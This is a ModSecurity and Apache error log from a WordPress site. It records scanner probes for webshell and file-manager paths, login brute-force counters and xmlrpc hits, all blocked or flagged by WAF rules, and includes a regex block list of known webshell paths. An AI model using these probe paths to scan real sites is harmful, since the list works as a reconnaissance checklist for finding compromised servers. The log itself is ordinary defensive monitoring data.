[Mon Dec 15 00:00:54.270521 2025] [:error] [pid 39524:tid 39580] [client 4.194.187.204:8752] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aT7fNmrVGpbDzFtDE9M01gAAAFg"]
[Mon Dec 15 00:00:57.855204 2025] [:error] [pid 40596:tid 40645] [client 4.194.187.204:29856] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miansha.php"] [unique_id "aT7fOWvZZo4N2X7WoLzHpQAAAdM"]
[Mon Dec 15 00:01:00.273207 2025] [:error] [pid 41600:tid 41620] [client 4.194.187.204:31176] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/test2.php"] [unique_id "aT7fPNFLTBZjcwNd_VtxLgAAARE"]
[Mon Dec 15 00:01:02.817744 2025] [:error] [pid 39614:tid 39640] [client 4.194.187.204:8350] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/test2.php"] [unique_id "aT7fPvxybG8-9MflbDetxQAAANg"]
[Mon Dec 15 00:01:04.538247 2025] [:error] [pid 13799:tid 13802] [client 4.194.187.204:36677] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/test2.php"] [unique_id "aT7fQHjPEin01ElFTNZ3vAAAAgA"]
[Mon Dec 15 00:01:05.996606 2025] [:error] [pid 40596:tid 40635] [client 4.194.187.204:34479] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/test2.php"] [unique_id "aT7fQWvZZo4N2X7WoLzHqQAAAck"]
[Mon Dec 15 00:01:07.578855 2025] [:error] [pid 39614:tid 39633] [client 4.194.187.204:31183] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aT7fQ_xybG8-9MflbDet1QAAANE"]
[Mon Dec 15 00:01:10.714861 2025] [autoindex:error] [pid 39523:tid 39530] [client 4.194.187.204:36702] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 15 00:01:18.094784 2025] [:error] [pid 39523:tid 39538] [client 4.194.187.204:36689] [client 4.194.187.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "aT7fTjQTQH1raAj2lkgUoQAAAAo"]
[Mon Dec 15 00:01:38.975376 2025] [:error] [pid 41600:tid 41621] [client 4.194.187.204:29826] [client 4.194.187.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.gigfragments.org"] [uri "/filemanager.php"] [unique_id "aT7fYtFLTBZjcwNd_VtxagAAARI"]
[Mon Dec 15 00:02:04.864570 2025] [:error] [pid 41600:tid 41624] [client 4.194.187.204:30333] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/CLA.php"] [unique_id "aT7ffNFLTBZjcwNd_VtxkwAAARU"]
[Mon Dec 15 00:02:05.663791 2025] [:error] [pid 40561:tid 40581] [client 4.194.187.204:24656] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/CLA.php"] [unique_id "aT7ffYY6r869zoqRQkQJ0QAAAVA"]
[Mon Dec 15 00:02:07.197698 2025] [:error] [pid 39614:tid 39639] [client 4.194.187.204:34170] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/CLA.php"] [unique_id "aT7ff_xybG8-9MflbDet-gAAANc"]
[Mon Dec 15 00:02:07.632872 2025] [:error] [pid 39525:tid 39606] [client 4.194.187.204:35557] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/CLA.php"] [unique_id "aT7ff01fX_pB_BrvE_596QAAAJc"]
[Mon Dec 15 00:02:09.840500 2025] [:error] [pid 13799:tid 13804] [client 4.194.187.204:8640] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aT7fgXjPEin01ElFTNZ3-wAAAgI"]
[Mon Dec 15 00:02:11.339975 2025] [:error] [pid 40595:tid 40623] [client 4.194.187.204:30317] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aT7fg_jrht6y4RN-xKRW1AAAAZg"]
[Mon Dec 15 00:02:12.052180 2025] [:error] [pid 40596:tid 40642] [client 4.194.187.204:30313] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aT7fhGvZZo4N2X7WoLzHxwAAAdA"]
[Mon Dec 15 00:02:14.105708 2025] [:error] [pid 40596:tid 40628] [client 4.194.187.204:36539] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aT7fhmvZZo4N2X7WoLzHyAAAAcI"]
[Mon Dec 15 00:02:15.190604 2025] [:error] [pid 41600:tid 41604] [client 4.194.187.204:35363] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ouh.php"] [unique_id "aT7fh9FLTBZjcwNd_VtxwAAAAQE"]
[Mon Dec 15 00:02:16.458405 2025] [:error] [pid 39524:tid 39566] [client 4.194.187.204:36508] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ouh.php"] [unique_id "aT7fiGrVGpbDzFtDE9M1EwAAAEo"]
[Mon Dec 15 00:02:17.047372 2025] [:error] [pid 39614:tid 39616] [client 4.194.187.204:36493] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ouh.php"] [unique_id "aT7fifxybG8-9MflbDeuAgAAAMA"]
[Mon Dec 15 00:02:18.741564 2025] [:error] [pid 13799:tid 13826] [client 4.194.187.204:34166] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ouh.php"] [unique_id "aT7finjPEin01ElFTNZ3_gAAAhg"]
[Mon Dec 15 00:02:32.273792 2025] [:error] [pid 39524:tid 39571] [client 4.194.187.204:29927] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bolt.php"] [unique_id "aT7fmGrVGpbDzFtDE9M1JQAAAE8"]
[Mon Dec 15 00:02:34.976878 2025] [:error] [pid 39614:tid 39637] [client 4.194.187.204:30213] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aT7fmvxybG8-9MflbDeuOQAAANU"]
[Mon Dec 15 00:02:41.102140 2025] [:error] [pid 41600:tid 41623] [client 4.194.187.204:30858] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aT7fodFLTBZjcwNd_Vtx8wAAARQ"]
[Mon Dec 15 00:02:47.577250 2025] [:error] [pid 41600:tid 41609] [client 4.194.187.204:36487] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aT7fp9FLTBZjcwNd_Vtx9QAAAQY"]
[Mon Dec 15 00:02:49.147032 2025] [:error] [pid 13799:tid 13803] [client 4.194.187.204:29912] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aT7fqXjPEin01ElFTNZ4DAAAAgE"]
[Mon Dec 15 00:02:49.897981 2025] [:error] [pid 40595:tid 40600] [client 4.194.187.204:29930] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tgrs.php"] [unique_id "aT7fqfjrht6y4RN-xKRW6QAAAYE"]
[Mon Dec 15 00:02:53.883799 2025] [:error] [pid 40595:tid 40611] [client 4.194.187.204:36520] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tgrs.php"] [unique_id "aT7frfjrht6y4RN-xKRW7AAAAYw"]
[Mon Dec 15 00:02:54.170222 2025] [:error] [pid 39614:tid 39631] [client 4.194.187.204:30245] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tgrs.php"] [unique_id "aT7frvxybG8-9MflbDeuQwAAAM8"]
[Mon Dec 15 00:02:59.417094 2025] [:error] [pid 40595:tid 40620] [client 4.194.187.204:30859] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tgrs.php"] [unique_id "aT7fs_jrht6y4RN-xKRW8AAAAZU"]
[Mon Dec 15 00:03:01.954110 2025] [:error] [pid 39614:tid 39619] [client 4.194.187.204:30309] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/system_log.php"] [unique_id "aT7ftfxybG8-9MflbDeuSAAAAMM"]
[Mon Dec 15 03:22:27.096705 2025] [:error] [pid 15717:tid 15732] [client 93.89.225.129:49878] [client 93.89.225.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.89.225.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT8Oc8L7Sf7meGfu6gAnqQAAAM0"]
[Mon Dec 15 03:22:29.085719 2025] [:error] [pid 15717:tid 15734] [client 93.89.225.129:49878] [client 93.89.225.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.89.225.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT8OdcL7Sf7meGfu6gAn0wAAAM8"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 15 04:33:14.338994 2025] [:error] [pid 35104:tid 35107] [client 106.54.62.156:56004] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aT8fCqWpPfWnBdEuPp4o1gAAAMA"]
[Mon Dec 15 05:18:31.156961 2025] [:error] [pid 35020:tid 35059] [client 216.73.216.89:2617] [client 216.73.216.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.89, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT8ppyBMuWbtFfQIRIbk6AAAAEk"]
[Mon Dec 15 06:57:59.007199 2025] [:error] [pid 35020:tid 35054] [client 74.7.227.11:40238] [client 74.7.227.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT9A9yBMuWbtFfQIRIYU7wAAAEQ"]
[Mon Dec 15 09:42:54.749244 2025] [:error] [pid 35104:tid 35115] [client 92.205.174.49:22608] [client 92.205.174.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.174.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT9nnqWpPfWnBdEuPp6QPgAAAMg"]
[Mon Dec 15 09:42:57.323694 2025] [:error] [pid 35104:tid 35125] [client 92.205.174.49:22608] [client 92.205.174.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.174.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT9noaWpPfWnBdEuPp6QQAAAANI"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 15 14:41:47.408855 2025] [:error] [pid 44555:tid 44568] [client 46.8.156.202:58973] [client 46.8.156.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.8.156.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT-tq2DHW0g-e9AKPr4IzwAAAEs"], referer: https://gigfragments.org/
[Mon Dec 15 14:41:51.119276 2025] [:error] [pid 39829:tid 39900] [client 46.8.156.202:60657] [client 46.8.156.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.8.156.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT-tr2egGfxg5ldkNeiO1AAAAY8"], referer: https://gigfragments.org/wp-login.php?action=register
[Mon Dec 15 16:52:19.839787 2025] [:error] [pid 39829:tid 39906] [client 49.234.192.248:46538] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aT_MQ2egGfxg5ldkNei7lQAAAZU"]
[Tue Dec 16 01:36:56.236603 2025] [:error] [pid 34409:tid 34436] [client 202.124.204.254:37176] [client 202.124.204.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.124.204.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUBHOIwgv-_jDvPU81GFrgAAANY"]
[Tue Dec 16 01:37:24.637482 2025] [:error] [pid 34409:tid 34424] [client 20.10.235.102:48787] [client 20.10.235.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.10.235.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUBHVIwgv-_jDvPU81GGAAAAAMo"]
[Tue Dec 16 02:51:49.183831 2025] [:error] [pid 34410:tid 34448] [client 45.119.81.168:33658] [client 45.119.81.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.81.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUBYxcWDXTJsXAHPFUnJKAAAAEc"]
[Tue Dec 16 04:08:32.549937 2025] [autoindex:error] [pid 33917:tid 33987] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:33.309569 2025] [autoindex:error] [pid 33917:tid 33997] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:33.758379 2025] [autoindex:error] [pid 33917:tid 33989] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:34.198607 2025] [autoindex:error] [pid 33917:tid 33985] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:43.558117 2025] [autoindex:error] [pid 33917:tid 33981] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:43.970159 2025] [autoindex:error] [pid 33917:tid 33989] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:47.160863 2025] [autoindex:error] [pid 33917:tid 33996] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:47.609218 2025] [autoindex:error] [pid 33917:tid 33979] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:48.056370 2025] [autoindex:error] [pid 33917:tid 33987] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:48.444737 2025] [autoindex:error] [pid 33917:tid 33984] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
